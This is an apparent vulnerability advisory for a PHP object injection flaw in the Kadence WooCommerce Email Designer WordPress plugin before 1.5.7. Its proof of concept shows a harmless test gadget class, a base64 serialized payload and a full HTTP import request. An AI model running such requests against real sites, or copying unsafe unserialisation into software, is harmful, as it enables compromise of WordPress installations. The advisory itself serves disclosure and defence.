WordPress Plugin Vulnerabilities

Kadence WooCommerce Email Designer < 1.5.7 - Admin+ PHP Objection Injection

Description

The plugin unserialises the content of an imported file, which could lead to PHP object injections issues when an admin import (intentionally or not) a malicious file and a suitable gadget chain is present on the blog.

Proof of Concept

To simulate a gadget chain, put the following code in a plugin

class Evil {
  public function __wakeup() : void {
    die("Arbitrary deserialization");
  }
}

Create a file named import.dat with the following content and import it via the plugin: Tzo0OiJFdmlsIjowOnt9Ow== which is base64 encode of: O:4:"Evil":0:{};

POST /wp-admin/customize.php?kt-woomail-customize=1&url=http%3A%2F%2Flocalhost%2Fwordpress%2F%3Fkt-woomail-preview%3D1 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------257490022338836228831019117590
Content-Length: 686
Origin: http://localhost
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------257490022338836228831019117590
Content-Disposition: form-data; name="kadence-woomail-import-file"; filename="import.dat"
Content-Type: application/octet-stream

Tzo0OiJFdmlsIjowOnt9Ow==
-----------------------------257490022338836228831019117590
Content-Disposition: form-data; name="kt-woomail-import"

a4f4eba906
-----------------------------257490022338836228831019117590
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/customize.php?kt-woomail-customize=1&url=http%3A%2F%2Flocalhost%2Fwordpress%2F%3Fkt-woomail-preview%3D1
-----------------------------257490022338836228831019117590--

Affects Plugins

References

Classification

Type
OBJECT INJECTION
CWE

Miscellaneous

Original Researcher
Nguyen Duy Quoc Khanh
Submitter
Nguyen Duy Quoc Khanh
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-10-03 (about 1 years ago)
Added
2022-10-03 (about 1 years ago)
Last Updated
2022-10-03 (about 1 years ago)

Other